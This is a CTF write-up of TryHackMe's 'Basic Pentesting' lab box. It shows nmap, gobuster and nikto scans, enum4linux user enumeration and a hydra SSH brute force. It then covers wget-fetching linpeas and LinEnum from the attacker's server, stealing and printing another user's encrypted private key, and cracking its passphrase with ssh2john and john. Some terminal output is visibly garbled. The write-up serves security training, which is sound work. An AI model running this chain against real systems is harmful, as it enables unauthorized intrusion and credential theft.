

 Basic\_Pentesting.md

## This is the Writeup from the Basic Pentesting box from TryHackMe.

Name: Alexander Spiesberger

Contact: [alex.spiesberger@gmail.com](mailto:alex.spiesberger@gmail.com)

Date: 25/01/2021 RHOST = 10.10.20.90



### Active Machine Information

**Title**  
Web App Test

**IP Address**  
10.10.20.90

**Expires**  
1h 58m 34s

Add 1 hour

Terminate

9%

### Task 1 ○ Web App Testing and Privilege Escalation



In these set of tasks you'll learn the following:

Deploy

- brute forcing
- hash cracking
- service enumeration
- Linux Enumeration

The main goal here is to learn as much as possible. Make sure you are connected to our network using your [OpenVPN configuration file](#).

Credits to [Josiah Pierce](#) from Vulnhub.

Deploy the machine and connect to our network

No answer needed

Correct Answer

Find the services exposed by the machine

No answer needed

Completed

Hint

What is the name of the hidden directory on the web server(enter name without /)?

Answer format: \*\*\*\*\*

Submit

Hint

User brute-forcing to find the username & password

We start with the scan, launching nmap, gobuster and nikto.

alex@kali: ~/my\_testing

\$ nmap -sC -sV -A -p- -oN nmap/initial.nmap \$RHOST

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-25 17:00

ET

Nmap scan report for 10.10.20.90

Host is up (0.034s latency).

Not shown: 65529 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2

buntu Linux; protocol 2.0)

ssh-hostkey:

2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4

256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (

A)

256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (

519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

http-server-header: Apache/2.4.18 ((Ubuntu))

http-title: Site doesn't have a title (text/html).

139/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

8080/tcp open http Apache Tomcat/9.0.7

http-favicon: Apache Tomcat

http-title: Apache Tomcat/9.0.7

Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Host script results:

clock-skew: mean: 1h39m48s, deviation: 2h53m12s, median: 15

nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, IOS MAC: <unknown> (unknown)

smb-os-discovery:

OS: Windows 6.1 (Samba 4.3.11-Ubuntu)

Computer name: basic2

NetBIOS computer name: BASIC2

Web App Test

• hash cracking

• service enumeration

• Linux Enumeration

The main goal here is to learn how to use the tools and techniques to find the hidden directory on the web server (enter name without /)

Find the services exposed by the host

What is the name of the hidden directory?

What is the username?

What is the password?

What service do you use to access the server (answer in abbreviation in all caps)?

Enumerate the machine to find the services for privilege escalation

alex@kali: ~/my\_testing

\$ export RHOST=10.10.20.90

alex@kali: ~/my\_testing

\$ cd my\_testing

alex@kali: ~/my\_testing

\$ gobuster dir -u 10.10.205.93 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -x py,css,html,cgi,sh,txt,js -o initial.gobuster

alex@kali: ~/my\_testing

\$ gobuster dir -u \$RHOST -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -x py,css,html,cgi,sh,txt,js -o initial.gobuster

=====

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)

[+] Url: http://10.10.20.90

[+] Threads: 10

[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Extensions: html,cgi,sh,txt,js,php,py,css

[+] Timeout: 10s

=====

2021/01/25 18:01:23 Starting gobuster

=====

/index.html (Status: 200)

/development (Status: 301)

Progress: 6762 / 87665 (7.71%)

Add 1 hour

Terminate

alex@kali: ~/my\_testing

\$ niktto -h http://\$RHOST

- Nikto v2.1.6

-----

+ Target IP: 10.10.20.90

+ Target Hostname: 10.10.20.90

+ Target Port: 80

+ Start Time: 2021-01-25 18:01:42 (GMT1)

-----

+ Server: Apache/2.4.18 (Ubuntu)

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Server may leak inodes via ETags, header found with file /, inode: 9e, size: 56a870fbc8f28, mtime: gzip

+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch

+ Completed

+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST

+ OSVDB-3268: /development/: Directory indexing found.

+ OSVDB-3092: /development/: This might be interesting...

+ OSVDB-3233: /icons/README: Apache default file found.

With this we can already find some interesting things, amongst them is already the answer to the first question: **What is the name of the hidden directory on the web server(enter name without /)?**

We can then take a look at the hidden directory that we found:

← → ↺ 🏠 ⚠ Not secure | 10.10.29.147/development/

Index of /development

Name	Last modified	Size	Description
<a href="#">Parent Directory</a>		-	
<a href="#">dev.txt</a>	2018-04-23 14:52	483	
<a href="#">j.txt</a>	2018-04-23 13:10	235	

Apache/2.4.18 (Ubuntu) Server at 10.10.29.147 Port 80

We then take a look at those files and 1 of them says that the passwords are not secure, we can try to brute force through smb with enum4linux: The command used: enum4linux -A \$RHOST | tee enum4linux.log (I put the result in a log file). We can then see when we look at the file, at the end we see 2 usernames.

```

28
29
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:

=====
|   Users on 10.10.20.90 via RID cycling (RIDS: 500-550,1000-1050)   |
=====
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-2853212168-2008227510-3551253869
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)

```

We can then try to bruteforce ssh, we remember that the documents actually was sent to the user "J" so we will try bruteforcing this username.

```

(alex@Kali)-[~/my_testing]
$ hydra -l jan -P /usr/share/wordlists/rockyou.txt $RHOST ssh
Hydra v9.1(c) 2020 by van Hauser/THC & David Maciejak - Please do not use in mil-
itary or secret service organizations, or for illegal purposes (this is non-bindi-
ng, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-01-25 20:36:5
8
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recom-
mended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip wai-
ting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:1
4344399), ~896525 tries per task
[DATA] attacking ssh://10.10.29.147:22/
[STATUS] 179.00 tries/min, 179 tries in 00:01h, 14344223 to do in 1335:36h, 16 ac-
tive
[STATUS] 133.33 tries/min, 400 tries in 00:03h, 14344002 to do in 1793:01h, 16 ac-
tive
# spam
[22][ssh] host: 10.10.29.147 login: jan password: [REDACTED]
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete un-
til end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-01-25 20:43:4
1

```

We can now answer to the next questions: **What is the username?** and **What is the password?**  
 we also saw with nmap that we could access with ssh so we can do this right now.

```

(alex@Kali)-[~/my_testing]
$ ssh jan@$RHOST

```

We connected successfully, nothing can be done with "sudo -l" so we can try to pass linpeas.sh and LinEnum.sh with an http server to maybe escalate our privileges:

```
systemd-private-c1f98a38201046269aae735b03db3577-systemd-timesyncd.service-NSaRh3
jan@basic2:/tmp$ wget http://10.11.25.211:8000/LinEnum.sh
--2021-01-25 14:54:39-- http://10.11.25.211:8000/LinEnum.sh
Connecting to 10.11.25.211:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh      100%[=====] 45.54K  --.-KB/s   in 0.06s

2021-01-25 14:54:39 (776 KB/s) - 'LinEnum.sh' saved [46631/46631]

jan@basic2:/tmp$ wget http://10.11.25.211:8000/linpeas.sh
--2021-01-25 14:54:53-- http://10.11.25.211:8000/linpeas.sh
Connecting to 10.11.25.211:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 319969 (312K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh      100%[=====] 312.47K  1.97MB/s   in 0.2s

2021-01-25 14:54:53 (1.97 MB/s) - 'linpeas.sh' saved [319969/319969]

jan@basic2:/tmp$ chmod +x linpeas.sh LinEnum.sh
```

```
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.11.25.211 - - [25/Jan/2021 20:54:03] "GET / HTTP/1.1" 200 -
10.11.25.211 - - [25/Jan/2021 20:54:03] code 404, message File not found
10.11.25.211 - - [25/Jan/2021 20:54:03] "GET /favicon.ico HTTP/1.1" 404 -
10.11.25.211 - - [25/Jan/2021 20:54:12] "GET /LinEnum.sh HTTP/1.1" 200 -
10.11.25.211 - - [25/Jan/2021 20:54:15] "GET /linpeas.sh HTTP/1.1" 200 -
10.10.29.147 - - [25/Jan/2021 20:54:53] "GET /LinEnum.sh HTTP/1.1" 200 -
10.10.29.147 - - [25/Jan/2021 20:55:07] "GET /linpeas.sh HTTP/1.1" 200 -
```

Don't forget to add executable on both files.

We can then run them.

```
jan@basic2:/tmp$ ./linpeas.sh
Starting linpeas. Caching Writable Folders...
7.png U 40
Basic_Pentesting.md U 41
![[linpeas](assets/7.png)
42
43
44
45
46
47
48
49
50
linpeas v3.0.3 by carlospolop

ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. The author and collaborators are not responsible for any misuse of the script. Use it at your own risk.
```

We then look for information, and we find something very interesting, a private ssh key, but for kay:

**[+] Searching ssl/ssh files**

/home/kay/.ssh/authorized\_keys

/home/kay/.ssh/id\_rsa

/home/kay/.ssh/id\_rsa.pub

Port 22

PermitRootLogin prohibit-password

PubkeyAuthentication yes

PermitEmptyPasswords no

ChallengeResponseAuthentication no

UsePAM yes

**Possible private SSH keys were found!**

/home/kay/.ssh/id\_rsa

--&gt; /etc/hosts.allow file found, read the rules:

/etc/hosts.allow

```

jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
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
-----END RSA PRIVATE KEY-----
jan@basic2:/home/kay/.ssh$

```

We then copy and paste it in a file on our machine, add permission 600 to it and try to ssh to this user, "kay".

Title	IP Address
Web App Test	10.10.29.147

```

(alex@Kali)-[~/my_testing]
$ vim kay_id_rsa

User is not logging to file, must include password
$ chmod 600 kay_id_rsa
No answer needed
(alex@Kali)-[~/my_testing]
$ ssh -i kay_id_rsa kay@$RHOST
load pubkey "kay_id_rsa": invalid format
Enter passphrase for key 'kay_id_rsa':

```

Next problem, we have a passphrase to find, luckily for us, john the ripper has a tool for this, ssh2john.  
We first need with the help of ssh2john to put the key in a readable file for john to crack it:

```

(alex@Kali)-[~/my_testing]
$ python3 /usr/share/john/ssh2john.py kay_id_rsa > crackable_kay_key
/usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a
deprecated alias since Python 3.1, use decodebytes()
  data = base64.decodestring(data)

```

It is possible that the file is in another place, just find it with the command: `find / type -f -name ssh2john.py 2>/dev/null`  
So with this ssh2john we have created a file that is now crackable with the normal john syntax:

```

(alex@Kali)-[~/my_testing]
$ john --wordlist=/usr/share/wordlists/rockyou.txt crackable_kay_key
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]
)
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all load
ed hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even a
fter
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
      (kay_id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:05 DONE (2021-01-25 21:29) 0.1923g/s 2758Kp/s 2758Kc/s 2758KC/
sa6_123..*7iVamos!
Session completed

```

We now have the passphrase and can try again to ssh with the key:



```
(alex@Kali)-[~/my_testing]
$ ssh -i kay_id_rsa kay@$RHOST 130 x
load pubkey "kay_id_rsa": invalid format
Enter passphrase for key 'kay_id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ whoami
kay
kay@basic2:~$
```

We are now successful and can directly read and answer the final question of this CTF:

```
kay@basic2:~$ pwd
/home/kay
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
kay@basic2:~$
```

I hope it was clear. Contact: [alex.spiesberger@gmail.com](mailto:alex.spiesberger@gmail.com)